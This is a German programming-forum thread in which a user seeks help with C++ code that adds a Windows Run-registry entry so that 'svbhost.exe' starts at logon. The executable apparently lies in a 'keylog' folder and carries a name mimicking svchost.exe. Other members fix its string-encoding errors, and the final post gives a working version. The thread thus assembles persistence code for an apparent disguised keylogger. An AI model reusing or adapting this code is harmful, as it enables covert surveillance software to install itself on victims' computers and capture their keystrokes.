tutorials.de Buch-Aktion 05/2012
ERLEDIGT
JA
ANTWORTEN
9
ZUGRIFFE
372
EMPFEHLEN
  • An Twitter übertragen
  • An Facebook übertragen
AUF DIESES THEMA
ANTWORTEN
  1. #1
    Simpac Simpac ist offline Mitglied
    Registriert seit
    Jan 2012
    Beiträge
    12
    Hallo, ich bins wieder..

    Ich habe mir ein kleines Programm gebastelt, welches mit eine Zeichenfolge in der regedit machen soll.
    Das Programm läuft auch wie geplant, doch der Inhalt der Zeichenfolge ist auf chinesisch angegeben und funktioniert deshalb nicht.

    Hier der Code:
    Code cpp:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    #include <windows.h>
    #include <tchar.h>
    #pragma comment(lib, "Advapi32")
    void main (void)
    {
    BYTE pfad[] = "C:\Users\Simon\Desktop\keylog\svbhost\Debug\svbhost.exe"; 
    HKEY hkey; 
    RegCreateKeyEx(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);     
    RegSetValueEx(hkey, TEXT("svbhost.exe"), 0, REG_SZ, pfad, sizeof(pfad)); 
    RegCloseKey(hkey);
    }
     

  2. #2
    Avatar von sheel
    sheel sheel ist offline Moderator
    tutorials.de Moderator
    Registriert seit
    Jul 2007
    Beiträge
    4.501
    Hi

    ist keine automatische Übersetzung, sondern wahrscheinlich ein Charsetproblem.
    Du musst auch pfad mit TEXT etc. behandeln.
     
    Netiquette (vA §15) und Nutzungsregeln (vA §4.8) einhalten! Programmcode in Codetags/Codeboxen.
    Sehr gute Beiträge bitte Bewerten (Stern darunter oder "Danke").
    "Funktioniert nicht" ist zu ungenau! Code, Fehlermeldungen, Verhalten des Programms, ...?

  3. #3
    Simpac Simpac ist offline Mitglied
    Registriert seit
    Jan 2012
    Beiträge
    12
    der pfad ist doch als TEXT (mit " ") geschrieben.. oder hab ich da jetzt was falsch verstanden?
    Hast du eine Idee, wie das sein muss?
     

  4. #4
    Avatar von sheel
    sheel sheel ist offline Moderator
    tutorials.de Moderator
    Registriert seit
    Jul 2007
    Beiträge
    4.501
    Nein, ich meine
    Code cpp:
    1
    
    TEXT("...")
    so wie es auch bei svbhost.exe ist.
     
    Netiquette (vA §15) und Nutzungsregeln (vA §4.8) einhalten! Programmcode in Codetags/Codeboxen.
    Sehr gute Beiträge bitte Bewerten (Stern darunter oder "Danke").
    "Funktioniert nicht" ist zu ungenau! Code, Fehlermeldungen, Verhalten des Programms, ...?

  5. #5
    Simpac Simpac ist offline Mitglied
    Registriert seit
    Jan 2012
    Beiträge
    12
    Code cpp:
    1
    
    RegSetValueEx(hkey, TEXT("svbhost.exe"), 0, REG_SZ, TEXT(pfad), sizeof(pfad));
    ergibt eine Fehlermeldung:
    Fehler 7 error C2065: 'Lpfad': nichtdeklarierter Bezeichner 10
    __________________________________
    wenn ich anstatt dem TEXT(pfad) - TEXT("C:\Users\Simon\Desktop\keylog\svbhost\Debug\svbhost.exe") schreibe, kommt:
    Fehler 13 error C2664: 'RegSetValueExW': Konvertierung des Parameters 5 von 'const wchar_t [49]' in 'const BYTE *' nicht möglich 10
    ___________________________________

    ich wüsste nicht, wie ich dagegen vorgehen kann.
     

  6. #6
    Avatar von sheel
    sheel sheel ist offline Moderator
    tutorials.de Moderator
    Registriert seit
    Jul 2007
    Beiträge
    4.501
    Du müsstest noch casten.
    Aber wenn du sowieso nur Ansizeug verwendest:
    Code cpp:
    1
    
    RegSetValueExA(hkey, "svbhost.exe", 0, REG_SZ, pfad, sizeof(pfad));
    oder gleich Unicode komplett wegschalten.
     
    Netiquette (vA §15) und Nutzungsregeln (vA §4.8) einhalten! Programmcode in Codetags/Codeboxen.
    Sehr gute Beiträge bitte Bewerten (Stern darunter oder "Danke").
    "Funktioniert nicht" ist zu ungenau! Code, Fehlermeldungen, Verhalten des Programms, ...?

  7. #7
    Simpac Simpac ist offline Mitglied
    Registriert seit
    Jan 2012
    Beiträge
    12
    ok, so geht das schonmal besser... jetzt fehlen aber die "/" im pfad..
     

  8. #8
    Avatar von sheel
    sheel sheel ist offline Moderator
    tutorials.de Moderator
    Registriert seit
    Jul 2007
    Beiträge
    4.501
    Du meinst \ ?

    Schreib sie doppelt
    Code cpp:
    1
    
    BYTE pfad[] = "C:\\Users\\Simon\\Desktop\\keylog\\svbhost\\Debug\\svbhost.exe";
    Grund: Einfache \ mit Buchstaben dahinter sind bestimmte Steurzeichen,
    zB. \n ist ein Zeilenwechsel, \t ein Tabulator etc.
    Und ein doppeltes \\ meint einen echten \
     
    Netiquette (vA §15) und Nutzungsregeln (vA §4.8) einhalten! Programmcode in Codetags/Codeboxen.
    Sehr gute Beiträge bitte Bewerten (Stern darunter oder "Danke").
    "Funktioniert nicht" ist zu ungenau! Code, Fehlermeldungen, Verhalten des Programms, ...?

  9. #9
    Simpac Simpac ist offline Mitglied
    Registriert seit
    Jan 2012
    Beiträge
    12
    ach wie dumm von mir irgendwie war ich mit meinen gedanken woanders
    jetzt gehts alles . danke!
     

  10. #10
    deepthroat deepthroat ist offline Mitglied Diamant
    tutorials.de Premium-User
    Registriert seit
    Jun 2005
    Beiträge
    8.168
    Hi.

    Ich hab nicht verstanden was du mit chinesisch meinst?

    Es hätte so aussehem müssen:
    Code c:
    1
    2
    3
    4
    5
    6
    7
    8
    
    int main (void)
    {
    TCHAR pfad[] = TEXT("C:\\Users\\Simon\\Desktop\\keylog\\svbhost\\Debug\\svbhost.exe"); 
    HKEY hkey; 
    RegCreateKeyEx(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);     
    RegSetValueEx(hkey, TEXT("svbhost.exe"), 0, REG_SZ, (LPBYTE)pfad, sizeof(pfad)); 
    RegCloseKey(hkey);
    }
    Gruß
     
    If at first you don't succeed, try again. Then quit. No use being a damn fool about it.

Ähnliche Themen

  1. Regedit nur für Admins freigeben
    Von Aleyna23 im Forum Microsoft Windows
    Antworten: 4
    Letzter Beitrag: 28.11.06, 22:41
  2. RegEdit Einträge
    Von Kaiser206 im Forum C/C++
    Antworten: 3
    Letzter Beitrag: 05.11.05, 15:47
  3. Globale Tastaturbefehle bearbeiten mit regedit (win xp pro)
    Von alextsch im Forum Microsoft Windows
    Antworten: 1
    Letzter Beitrag: 09.03.05, 01:17
  4. Regedit von vb aus starten
    Von ViCardz im Forum Visual Basic 6.0
    Antworten: 5
    Letzter Beitrag: 04.09.04, 11:21
  5. Zugang zu REGEDIT in Windows XP verbieten
    Von ALS im Forum Visual Basic 6.0
    Antworten: 0
    Letzter Beitrag: 01.11.03, 10:40